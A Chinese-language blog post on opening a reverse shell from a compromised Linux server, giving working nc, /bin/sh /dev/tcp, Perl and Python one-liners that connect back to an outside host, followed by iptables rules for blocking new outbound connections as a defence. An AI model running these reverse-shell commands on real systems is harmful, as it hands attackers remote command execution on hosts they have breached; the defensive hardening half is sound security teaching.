Category Archives: Linux

一行命令建立反弹Shell

当成功入侵到目标服务器时,需要建立一个立足点,横向对内网进行渗透,因此反向的控制通道尤为重要

一行Linux命令建立反弹shell

  1. 服务器端建立监听端口
    nc -l 0.0.0.0 8888 -k
    nc命令用于在服务端建立一个tcp监听socket,监听在8888端口,以便客户端进行连接

  2. 在受控的服务器上建立远程的tcp连接
    /bin/sh -c /bin/sh -i > /dev/tcp/www.minsv.com/8888 0<&1 2>&1

  3. 此时,我们已经能对目标进行远程命令执行

  4. 受控机器上多了一个外联的tcp连接。这点很重要,作为防御方,我们可以通过控制主机网络的外联来达到防守的目的。下面将有介绍如何通过系统自带的iptables,禁止非法的网络外联,同时又不影响正常对外的网络服务。

同样的方式我们可以用perl实现

perl -e 'use Socket;$i="www.minsv.com";$p=8888;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

同样的方式我们可以用python来实现

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("www.minsv.com",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

如何防御?

  1. 黑客在获取到内网主机权限后,一般会建立反向控制和使用curl,wget命令下载木马。严重依赖于主机对外网的网络访问,掐断由内至外的访问尤为重要。在Linux中,网络有ESTABLISHED,NEW,RELATED多种状态,解释如下:

    NEW
    The packet has started a new connection, or otherwise associated with a connection which has not seen packets in both directions.
    ESTABLISHED
    The packet is associated with a connection which has seen packets in both directions.
    RELATED
    The packet is starting a new connection, but is associated with an existing connection, such as an FTP data transfer, or an ICMP error.

通过对外新建连接实行白名单制度,有效避免主机被恶意控制。

iptables -A OUTPUT -j REJECT //拒绝所有的网络外联
iptables -I OUTPUT -m state –state ESTABLISHED,RELATED -j ACCEPT //允许由外到内的网络连接
iptables -I OUTPUT 1 -s 127.0.0.1 -m state –state NEW -j ACCEPT //允许本地的新建连接

由外往内访问http服务正常,但是从内往外已经ping不通了。证明我们的访问控制已经生效。